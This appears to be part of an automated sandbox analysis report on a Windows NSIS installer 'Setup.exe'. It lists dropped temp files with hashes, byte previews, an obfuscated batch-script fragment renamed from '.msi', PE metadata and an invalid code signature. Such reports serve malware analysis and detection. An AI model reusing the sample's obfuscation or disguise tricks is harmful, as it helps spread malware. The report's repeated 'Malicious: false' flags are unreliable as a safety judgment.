SHA-512:	2AB62179A5E736F4647998E30F78F21BF0B461744FB8E77BB128A62C245EABAE168359AAD3A4C73517C4B330D95AF4A9CC121AF6E104C13FFEA950FE83855F69
Malicious:	false
Preview:	zn.....=...N..?.LN...9=.@$".3.?5Wg4p.6=...T...?.Nv$^.)=....&.?....)..<..l..B.?.M....%=.`j....?.w....*=. <.m.?E...2=...>..?....E..=..t.?..?.......=..O..Q.?.w(@...<....0..?Ac....0=.Py.p..?dr.y?..=...St).?4K....>=....$..?Qh.BC .=.0..ub.?-.....0=.......?.a>-..?=.......?...,..<..(lX .?.T@b. ==.P.....?.3.h,.%=...f.?.?.#.... =..V....?....6=.....Y.?...z. $=...G...? $.l.35=.@...n.?.[+...3=..R...?s.dLi.==.p.\|..?r.x"#.2=.@.....?\|.U...2=..l...?r..F..=...a...?.....4.=....Y..?sl.#{ =.`~R=..?...i.1=....,..?.... =...vX..?......=.p.....?h...}s"=...E[..?.%S#[k.=...7.H.?.....j.=..!V1..?..}.a2=..j.q..?2.0.J.5=.......?.....5.=.x./@.?.."B <1=..i..z.?.\-!y.!=.X.0z..?~..b>.==..:....?...#.X'=.HBO.&.?...(.~.=.x..bb.?.......=..C.q..?y7..i9+=...v...?......:=.0.....?2....8=.x.P.D.?X...1..=.......?.......?.....Q.?.....Q.?.......?.......?.......?.......?.......?.......?.......?.......?.....].?.....].?....P..?....P..?.... ..?.... ..?.....U.?.....U.?....(..?....(..?....`..?....`..?....._.?....._.?

C:\Users\user\AppData\Local\Temp\Scanner

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.534962803903033
Encrypted:	false
SSDEEP:	768:cQ18OWrM81EyJqx9EdzGGXZVfmlqTmN5WAQIGK2ud5lS87uzh7JCQ/sE7mOB6XSu:X1/AD1EsdzVXnP94SGGLpRB6M28eFvN
MD5:	0D69060CA3165CEA1A5B4CE7BBC34B22
SHA1:	BB4E865A1C5F22AB0D8B73C6068DF1FFBB17F1C8
SHA-256:	A2C036FCBDB9F98DC2FBDA4154464D34DA3FFBA55D32951B748015EDF61C09BD
SHA-512:	1FE7348C29AF25950540C7F30C758F1E12B300C71F68AAC0D64181C16E8767211E6991B4455626C785523ED35732806AAF7723190FCE907781A111F9F4DBA8B2
Malicious:	false
Preview:	.........................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................................................t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j

C:\Users\user\AppData\Local\Temp\Submission

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	6.696613799059466
Encrypted:	false
SSDEEP:	1536:BvI932eOypvcLSDOSpZ+Sh+I+FrbCyI7P4CT:Bv+32eOyKODOSpQSAU4CT
MD5:	FD9AF536765A6560802EC52E22310420
SHA1:	F122752EC08531BF78816D421A7B37CDC967B9EC
SHA-256:	B785A0BD758E4DF2E74F95F80DFF95A6A666B5CDF1D0385B2061E314CD2FD15E
SHA-512:	87A9CDCCDB5ABABA4394726691E1750B1DFA15EC731DE87BF47258031BF359A54482104A48AF41AD549F8E53414B5CCBD9DAD164FD16AD8A57943061FEAE047A
Malicious:	false
Preview:	..t5.u....U.......$.......v.3..R..N.....J........u.].....U...E.H.E.u.3..U...M....E.....m..J.]....H.}..U.M..E...........3..U.B..;.s..H...................I.@;.r....t....<..u......u...^_[..].y..t..............3...U..j..u......YY]..U..V.u...u.3..m.E...u..D#..j.^.0.MX.....SW.}...t.9u.r.VWP.h>.....3..6.u.j.P.vS.......u...#..j...9u.s..."..j"^.0..W......j.X_^].j.h..L...L...}...u...0.I.P....I..Y]....`.....e....t.j...e.........G..e...7.w.......I...Yj......M.....E.QP.RE..YY.e..u..}...j.h..L..lL...}...u...0.I.P....I...\....`....ge....t.j..d.........G..e...7.w.......I...P......M.....E.QP..D..YY.e..u...}....U..V.u...t%.~..t..v...`.I..~..t..v.....I.V.X..Y^].....U..V..\....u..u.....I...`.....t.~..t..Gd...F....t...t.P..`.I..F....t..t..u.P....I...U..QVj.j...z..j....,X.......t..E..M..F..F.PQj.......I.j..M..0.....^..]..U..QQ.}..u... ..........V......SVW.u..u.......YY..t..e...E.Pj.Vhi.B..u.j...h.I.....u!..0.I.P.s ..Y...V.M......._^..].W.~.....I....t.3....U..QQ.}..u..o ........

C:\Users\user\AppData\Local\Temp\Sum.msi

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.996723705881468
Encrypted:	true
SSDEEP:	1536:R1DXNoCtXg6VfwU1vvfwjBmVq9krD54tUAMys:RJXNrXg6VfwCvvUkvkUh1
MD5:	44A28C22401CE7D2C31316E407773FA7
SHA1:	C5D84C5B9BE5BF88EA8FFFFFDF4099B2AD0E1485
SHA-256:	B81CABF6D31D42C805066DCA44A78FA2B65187D5A0666BC7D8EB808EAF3BA698
SHA-512:	215C6CB52F10EA746ED1E0BA5EC49AC48B1694B717DCC85F4D9D7C375D199CECA544C563D8398247B2D194FCADA56D4AF9DB6BD30658FEF32FCBE131F201758F
Malicious:	false
Preview:	(...)...S...{.E.< ..5`.\i),.....O......?....~o.S..z5.....xn...X....l..<....\........Jk.I...# 9..75t.#vdj.o\.Q.....E\|........T..7...I.x....W.....r....A.Qj..X...,...Jd.^;./.+.&'..6......'.hXX.K..,f.....<hN...."a.v.\..;.}.J.#,q...D.1s_....v..XB...F~F.e.uc~F2\|.7Y....KAK...`~T...0l.k:.."FCm...bh... EG?A....bW$`....dF.jn.uD.+..y.....Gh...;.fH.... .2.u.:#Q5...!..1..r..$.:H.l.x.A...U..#\|>.....l......W.r.y.z.....1...0..'.t...8.#.p.Be4Y...?O@..\........w_......lkO....A...6......J+.:..".v..?.[......S]L..5..Q4..?....:.."...(z.....I...P.).n..f.R.jk,..o.....y.(...T...5<.c...,..........e..X(Y.:........e...d......o....^~\.....G.....yR+Jt..&, .$....$.".....h_..P....B..(:'{.bf....5{..FiG.4`.:.:A.f"D3.......Xcg".V.J.Rt.CrZ.wT..;...O.^.K.....`.a.N.. .7...KV..=G.....K.z.....-o)..n......8..n.........S....o.hF....5.O....q.}...JQ..,..7...:.^..1..`r..w.K.($,.....g..:;.H.)....B..J...?.=..&...4Jl1\|..s4.i.,vB.9..?<n..z@. Q.Je.0.....%..Cyr.o0....$7.....~.7.\|..l....

C:\Users\user\AppData\Local\Temp\Taiwan

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	6.025879668490226
Encrypted:	false
SSDEEP:	1536:ZYfv2j62SfuVGHj1vtK7h6R8anHsWccd0vtmgMbFuz08QuklMBNIg:ZC2jfTq8QLeAg0Fuz08XvBN/
MD5:	CAE602F214F31F8526C2658BF7A02E54
SHA1:	84804B68DA5AF9A818B360421EA381C0D635A387
SHA-256:	7F3BA9F4D5FDE790B05150B396400B168F9B80607438C7643E8D3445C54DCC36
SHA-512:	3EA7AAF15F82DFE8CB85A2555D046132D581116676F12253C29E69295D9E6CDF7694D84710C4AD7E2C2398953C84DAC8E74CF3DFB6AE91BFEC1F6655E629E146
Malicious:	false
Preview:	..f;..........f;..........;.wDtW..UrY..Zv...]v...`v...auE..A.f;E.t.f;E.....A.j.^f;.t.j.^f;.u!.......-....t.H...t.H...u...A...A....1L...A..t9.B..7w1f.A......f#.....f;.u........A.;E.t .......1L...A..1f........3._^[.....U....VW.}..U.3.M.U..7...sR..S3.;M.t8.W..A.9.u..F.C.R.@9.t....4..U.Q.u..M..u..W+...U......U..<.....7....r.[_..^..U..QQS..U.V3.W...{,9C0~[.E....E.P.G.P.u..g.......u..E.3.f9LG.t......x..C4F.<G.E.;s0\|....C0.K4+......P..OWP..z.....f.E.f...E..4.V.u..G.P.a.....3.f.D>..C0_^[..U....SV.u...U.W.......M..3..U...tYH..PW.u..u..a........=...@.N.9.t.F....u.......%.....M.HP....@P.u..u..%.............U....r..._^[..U....S....V.E...E...W.}..E..U.........O....M..W ..tC;.s"....F..E......G;E.t....;.r.}.;.r...V..G....H;E.r....f.F.....;.s.f.....;O r._^[..U..V.r....W............L.........E.,K...........$...I......K.<.t.<.t.<.t.3...3.A3.;M.....X.........K.3..M.;.. cL....+E.....@.4.........K.3.9M.........K.........K.3.B... cL.;.t....t.3.3.;U......;.w=.........rr........... ..

C:\Users\user\AppData\Local\Temp\Thumbnail.msi

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	100352
Entropy (8bit):	7.998355358244918
Encrypted:	true
SSDEEP:	1536:NdRsgg0sV1OUjPACqMNEfwgI/d3bKeetLoAZbKMKgIEeGa86LPM2/YyflzrQ/do+:7RsmgUUjoChMU2B9KMKgVen9PDfQFokB
MD5:	B8B501AC81E432FFAA497157411C303D
SHA1:	F2A3B9014B678665E535FF181A5D4167DC593B98
SHA-256:	A7D7C1F03CF4ECB1F39BCD5610C376296BCBD8352797959D10B599E65A16BDD2
SHA-512:	D09CBB79D1068552F69A5FFFB544557A6236E9CCAD0CD0EC4043E27F6102798B1D973086DCE4C8A8AEEA683D78F7451B72579800F62C53F0843EADDDD7D9A98D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	.}q....J..ag ....3c...[8..)f).....b....o.D........}.."8.f^? ...,c..g..K.rO5..H.b4....b......>M).}..up.1..........J..9. R.i..S....I..u.........2.....9Vd{....2k....5J.H.8..\-...6..{.....P\...Xn.-Mj...N.A..].N...I.H.m.O.El../.C..a798..a."....J9...g..6...".....N.l....\%Dpfr.o_q. .r..d...}...{N........tBc..:.....`"R.........o..YD^..S"..V..0Q....=.,..g.9.o7.6....y;.dC=9U_.1W....1..F.&u......@xpK......p.tf...Q1..M2E...8@0..J}..d7.."......'.....".c#.tSj8^Cu..)........\.~alR2m2'd.j....I=J.R.. r......U........h..X...D@A...P..d1..Z/..e\...<,A..........L.2..9Ih.R]v9....B.".Y..f}..+...w..2.p.=.a..H.-.H.i.G..z..F..<^..e...f..m....O(..D...B%.YV...........^j.V(.@.dk.......#.....k..&,.M........s.F.......Z...]....J..(&....S.$.>hU..I0........T.........<.;.....e3.......[.j.....t.....7..D0.dHik.o.....S...}.p.q..e..9P..[..Q.T.[2(.p..T.A.v..L@g...Z\W0_B....2.(!..IZ...8...$...i]7......B-I9....M.....[q."]_p:F..@...y...Q..H......Y..rP..p.\|...G.i..A......(?.{v.c.8..I

C:\Users\user\AppData\Local\Temp\Tri

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.423730287625938
Encrypted:	false
SSDEEP:	3072:SjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mjccBiqXvpgF4y:SjGgQaE/loUDtf0accB3gn
MD5:	DB8E568F416B00852B1A285709424B63
SHA1:	0F8D9C99D0C2EB5D5B636817FE9753A9969F2F6C
SHA-256:	2C0AD1D50C6CE6FBFF0474C2752DC2B2319E868972F90B43440849C921C45FD9
SHA-512:	FC41E1B5401E82F2156B9211341BF33378A912E9E1B1529EE3B8945BAAEB843C8967C65799F4A6FBF482D9524878F10EBA10A8AA8F68BFCA1E786BC3A6678EE9
Malicious:	false
Preview:	.j.V.<.......D$8........j.j.j.j...$..........P....I.............$.......$........@.....)M......S@....$......(M.P......u...$....P..T.I...$....P..L.I.j.j.j.j...$....P....I.....h....j...\|.I........t........J.....\|.......;.....sy................\M....$............e?.....<......................j.....I..5.#M...<.I..5..I...$4...j.j.j.P..........O............L...L..............O...........3....$. .@...@...@.p=E...@..>E..................................................................................................................................?E...@...@..?E...@..?E.F>E..?E..@E..@E..?E.....U..Q.U.SVW.r....E............u..u...R....._^[..]........(...P..3..$.(.@..u.Q......_^[..]....u...R.9..._^[..]....E...PR.Y....L...._^[..]...j..E...PR....._^[..]...8.m.....'O....l......?O....h....^0..t..N ......N..w...j8V..........h...2...m.....d..._^[..]....u...R.%..._^[..].....m......d.....h......N...R..E.B....R.._^[..]....u...R..N.._^[..]....u....PN.._^[..]....u.Q....Q.._^[..]....E...PR...._^[.

C:\Users\user\AppData\Local\Temp\Turner

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	518
Entropy (8bit):	4.51036591364456
Encrypted:	false
SSDEEP:	6:QOqjvVg3F+X32+hZCt7HSbYwClS6CSNEcixN3Qdp94sA4PvMt/66h1I2YgJ62/n:HyGSG+fCtJfjEvadTfA43k66h1ICdn
MD5:	7ED9883D4ADDBFE9B9C3FD867F5A65C1
SHA1:	DE63478DB3CB7022FE989E9AD35431F8922FD135
SHA-256:	A2D4665B8438AB7CF96822BB792738B6706EDC40003E09EFAFA29E464D69A61D
SHA-512:	A2327FC0DE8F0B227D4D4A6B3FA82DA7C60890D4612969766F4BB47A7EA714BD3CFD345208D4938B0D4AB179244CE428F6862FF12074D32C284B98D9D5996421
Malicious:	false
Preview:	Communications........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@...................

C:\Users\user\AppData\Local\Temp\Unauthorized.msi

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (721), with CRLF line terminators
Category:	dropped
Size (bytes):	18031
Entropy (8bit):	5.155803009881373
Encrypted:	false
SSDEEP:	192:XDxCd3uZXiZtjjPHgbPWeh5ZF2XxH2jSpltMkiAMpuyHMCVzEsTooDlvGZmdrs9Z:RZXujjPAbTfWcSpU91ztToKHsGTWUY
MD5:	69667EBCBFDE66B4CC35D80EC12CFBEF
SHA1:	CBD213C337F3A5672D215A01A8872CCE4B4A22B8
SHA-256:	26F223BDC7E530114BA315304A25CC4E4C4800AE7BE7DD40EAAB9654BD5652C5
SHA-512:	D01F7F1EAEB3F3195DB205343D7164D6009A5C9CC13DB2A5876690B8A040D106073756157D7EBD952F11A26D525061971C104E936BD18C84E82A52C93392B459
Malicious:	false
Preview:	Set Tb=K..FJqCord(Amazoncom(Special(..UWSmall(..gMCarried(..eETkTwo(Show(Revenues(Treatment(Genuine(Hierarchy(Pointer(..hOFoto(Converted(..nGgCategory(Twenty(Roles(Actress(Logos(Velocity(Arrow(Types(..Set Oxford=c..IDplAppearance(Extends(Planners(Supplied(Islamic(Customs(..IbhXl(..kFKeeping(Nam(Plot(Planner(Murphy(Wages(..zPvBWatched(Cardiff(Bald(Ncaa(Reasoning(Block(Whom(Genuine(Db(..CQPZEfforts(Pdt(Yemen(Advantages(Participation(Released(Caring(Colleagues(Website(..BZtElectric(Attachment(Announce(Promo(Impacts(..dlmhDelhi(Dean(..Set Wanted=Y..iYkIncest(Primary(Hay(Ratios(..uyBeginners(Simple(Ticket(Veterinary(Delegation(Safe(Hobbies(..rcWFloral(Analytical(Outsourcing(Infrastructure(Burning(Addresses(Depends(..tclMorocco(Choosing(Subjects(..wmRegulations(..jMoSW(Twelve(Leading(Stereo(Luxury(Ranch(..Set Swingers=S..heWinston(Reflects(..dPLooked(..dtGuard(Pickup(Tools(Om(Leadership(Creativity(Forms(Betty(..ZVLitigation(Built(Hosted(Surge(..NipoDi(Budgets(Vary(State(Complement(Counsel(Dr

C:\Users\user\AppData\Local\Temp\Unauthorized.msi.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (721), with CRLF line terminators
Category:	dropped
Size (bytes):	18031
Entropy (8bit):	5.155803009881373
Encrypted:	false
SSDEEP:	192:XDxCd3uZXiZtjjPHgbPWeh5ZF2XxH2jSpltMkiAMpuyHMCVzEsTooDlvGZmdrs9Z:RZXujjPAbTfWcSpU91ztToKHsGTWUY
MD5:	69667EBCBFDE66B4CC35D80EC12CFBEF
SHA1:	CBD213C337F3A5672D215A01A8872CCE4B4A22B8
SHA-256:	26F223BDC7E530114BA315304A25CC4E4C4800AE7BE7DD40EAAB9654BD5652C5
SHA-512:	D01F7F1EAEB3F3195DB205343D7164D6009A5C9CC13DB2A5876690B8A040D106073756157D7EBD952F11A26D525061971C104E936BD18C84E82A52C93392B459
Malicious:	false
Preview:	Set Tb=K..FJqCord(Amazoncom(Special(..UWSmall(..gMCarried(..eETkTwo(Show(Revenues(Treatment(Genuine(Hierarchy(Pointer(..hOFoto(Converted(..nGgCategory(Twenty(Roles(Actress(Logos(Velocity(Arrow(Types(..Set Oxford=c..IDplAppearance(Extends(Planners(Supplied(Islamic(Customs(..IbhXl(..kFKeeping(Nam(Plot(Planner(Murphy(Wages(..zPvBWatched(Cardiff(Bald(Ncaa(Reasoning(Block(Whom(Genuine(Db(..CQPZEfforts(Pdt(Yemen(Advantages(Participation(Released(Caring(Colleagues(Website(..BZtElectric(Attachment(Announce(Promo(Impacts(..dlmhDelhi(Dean(..Set Wanted=Y..iYkIncest(Primary(Hay(Ratios(..uyBeginners(Simple(Ticket(Veterinary(Delegation(Safe(Hobbies(..rcWFloral(Analytical(Outsourcing(Infrastructure(Burning(Addresses(Depends(..tclMorocco(Choosing(Subjects(..wmRegulations(..jMoSW(Twelve(Leading(Stereo(Luxury(Ranch(..Set Swingers=S..heWinston(Reflects(..dPLooked(..dtGuard(Pickup(Tools(Om(Leadership(Creativity(Forms(Betty(..ZVLitigation(Built(Hosted(Surge(..NipoDi(Budgets(Vary(State(Complement(Counsel(Dr

C:\Users\user\AppData\Local\Temp\Using.msi

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997951710128455
Encrypted:	true
SSDEEP:	1536:TzsErzTJMLeR4tRbUgX+oJpe0o+6r6Xr9N/arAneYVpRAza+3WCYxfwV:T/rzTJWU6q056rexN/arAneEXQ
MD5:	B242A1E21D6C1C3B2A06D627FD6BA7A4
SHA1:	3E55CCAA14A450E0C137C2C1AB5A3D09A0ADE579
SHA-256:	45A816BA76509CA2E3C1EC925D48F26C4B8A14A6A16FCF9831EFB1EDD1D11DF0
SHA-512:	441415118AA85EC818F1F663494BF9BADB922920BABAB88DC9CA10726570059812C546C7C1704215BBA853B0033B38D7A4F1AFCAB5F27EAC843CB2DF5AFE7687
Malicious:	false
Preview:	.=.6...U......~..-Xr.=..%gj....p>...J4:.4g~N7.a..u..{x.L.S.:.C...H..T.?. ..".\|...";....'^..IT..5._...(....?.b....+..0...ck.........zsl.g.l,....sAu..{-..H.o....R.}....Y..R.v.J..5.\..`.<l...1....T.t..>.#.e..Z..k_...U..h&\|.Qf..MA.C..j-.S...Q..z...t.-6c~......d.q.R...]z...Tq.:ep.a.\|P^....P.$T..h...oXMJ.h.w.......O....A.D.....X.GQn./.#>.~....E.E..u...o.\|........t...3.Z..\|......P8.....y^....t....>...7.y-.s..:....a3&.S\......eN..r.DS..<Y...`.....]Z/....'.)..Y.%...(...Z.b.....\|...X.....?*..m&.'...u..Z.k.L:Z.N.=(..5).?....0.IY.:.%..@.J8. xh.Pby..qBVa&..C...+.........9.1i...2.3.$b].F1w.8.[........QP6.L}i.$......V.2.........{.J-!O.s.....i.q...dTt.. nX)....1NZ[D.tw..........^Jl)..a.a0.L...w./#....#.....U.[.df.3V.. #.39r...U.u...........8U.5jP..@..H..8......N7../fp.eXW....c....(....K........kX..Y..<........CE9.FG5P..o.........`okt=]....Kj(l...ux.j..........m......\|>'..,E.#..g.=.%%..3.o+.=.a.r...A....-..._...Rp..{....r.u.G..6...Y..n..]../....~.g....W..cC...m.H..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.988726019100514
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	1'241'125 bytes
MD5:	69d60e74d9063949aa710804c99e4468
SHA1:	c3c669bafcaedb94b4ea02afb19155b99b0bdf88
SHA256:	a6f505950424c626a2e800ee4d5b50de2e091d6b1f4f8ceeedc0e2e4af6aa6c0
SHA512:	6957e6ddfbe384d3980d94616951fb0e2adc9d5eb4e0b008417256631f8f83b26f148c00b2727be00687ff2a1f6ffede33f4b41251ef3687b891cdcf64d0cf2b
SSDEEP:	24576:q0a38rTjI6ImYmxl8xj3po7rUkeRDORB36KguXzbX4bmaLCp/Wi/NvLavIr5QKGv:q9ATk6no5o7rUkeRYBKcfIbmaLCNjBat
TLSH:	FE4533A15710F02FDAD2027860A9CA97DCA6F1662A14F46793314C0B7F19BE2CCED797
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.ydx..7x..7x..7_Hz7{..7_Hl7i..7x..7...7q..7s..7q..7y..7q..7y..7Richx..7........................PE..L....l.K.................d.

File Icon


Icon Hash:	c48ab2b2b2de7eb2

Static PE Info

General

Entrypoint:	0x4033e9
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4BC06CCB [Sat Apr 10 12:19:23 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bf95d1fc1d10de18b32654b123ad5e1f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/04/2022 01:00:00 10/04/2025 00:59:59
Subject Chain	CN=Ansgar Becker, O=Ansgar Becker, S=Nordrhein-Westfalen, C=DE
Version:	3
Thumbprint MD5:	BC1D93D0BDCAF676875F8ABD14CA47E5
Thumbprint SHA-1:	B963A16C552E2C3EDECDAE05B2EEE3EAE21C9E69
Thumbprint SHA-256:	E4223370B8A3AF45184F0E499C01E6FCF32F8E6D7DE6891B06B0A089DF1F56B1
Serial:	00F935156DCA90FF6FBCC51A2C708B0CFA

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00408570h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082B0h]
push 00000008h
mov dword ptr [00470678h], eax
call 00007FA70D4434BCh
push ebp
push 000002B4h
mov dword ptr [00470590h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040856Ch
call dword ptr [00408180h]
push 00408554h
push 00468580h
call 00007FA70D44338Ah
call dword ptr [004080B0h]
push eax
mov edi, 004C10A0h
push edi
call 00007FA70D443378h
push ebp
call dword ptr [00408130h]
cmp word ptr [004C10A0h], 0022h
mov dword ptr [00470598h], eax
mov eax, edi
jne 00007FA70D440D5Ah
push 00000022h
pop esi
mov eax, 004C10A2h
push esi
push eax
call 00007FA70D44304Ch
push eax
call dword ptr [00408250h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FA70D440DE1h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FA70D440D59h
inc esi
inc esi
cmp word ptr [esi], bx
je 00007FA70D440D4Bh

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x89f0	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf2000	0x214c0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x12c475	0x2bb0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6240	0x6400	1a752074fcd11165f6f148ea63ebe068	False	0.656640625	data	6.421737576039348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x18ca	0x1a00	7eb0899a4b6211f8bc545228417d92ad	False	0.42427884615384615	data	4.878367399492845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x6667c	0x200	b0b1d7c362f8cc76541b7fce5014e602	False	0.193359375	data	1.3587162613330246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x71000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf2000	0x214c0	0x21600	4653a19bf355be8736594117d84a8821	False	0.9765478698501873	data	7.918697075731429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf2220	0x1acaa	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9982868286281872
RT_ICON	0x10ced0	0x2b96	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0009858397562288
RT_ICON	0x10fa68	0x2393	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0012078620841112
RT_ICON	0x111e00	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.5881147540983607
RT_DIALOG	0x112f28	0x100	data	English	United States	0.5234375
RT_DIALOG	0x113028	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x113148	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1131a8	0x3e	data	English	United States	0.8548387096774194
RT_MANIFEST	0x1131e8	0x2d4	XML 1.0 document, ASCII text, with very long lines (724), with no line terminators	English	United States	0.5649171270718232

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, MulDiv, lstrlenA, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
